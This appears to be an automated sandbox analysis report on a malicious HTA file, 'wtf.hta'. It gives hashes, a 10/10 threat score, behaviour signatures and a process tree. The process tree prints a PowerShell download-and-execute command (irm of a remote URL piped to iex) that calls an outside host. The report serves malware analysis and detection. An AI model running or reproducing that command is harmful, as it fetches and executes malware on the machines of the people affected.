Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    08-04-2024 07:46

General

  • Target

    wtf.hta

  • Size

    46KB

  • MD5

    5fbdd6357b961e941acd3c06ba2e867e

  • SHA1

    ac1f9b5ffd9c6fa8790bf235f73bd53f699c527b

  • SHA256

    f135e8b3678ef36330cc8e8f1986cf40d83fb4159c8d5363ba44b78d14f85f17

  • SHA512

    c63211263355c854c19964c37cd9857e08a90a694e087bfe6e5c1d35cc579ae75b9e5c5279172c8b24ce925a3476408ded33a32d09f7cc5b820e0cbd1dbb2907

  • SSDEEP

    768:2bang59+ttT+fEV8yEH445wBodvJdgg6i1UY8o53YH:2baXLWEXEp5wcdgziK/H

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\wtf.hta"
    1⤵
    • Modifies Internet Explorer settings
    PID:3040
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command irm https://sevensunday.co.ke/tete/describe.tet | iex
    1⤵
    • Process spawned unexpected child process
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2764-4-0x000000001B530000-0x000000001B812000-memory.dmp

    Filesize

    2.9MB

  • memory/2764-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-5-0x0000000002890000-0x0000000002898000-memory.dmp

    Filesize

    32KB

  • memory/2764-7-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2764-8-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

    Filesize

    9.6MB

  • memory/2764-9-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2764-10-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2764-11-0x00000000028A0000-0x0000000002920000-memory.dmp

    Filesize

    512KB

  • memory/2764-25-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

    Filesize

    9.6MB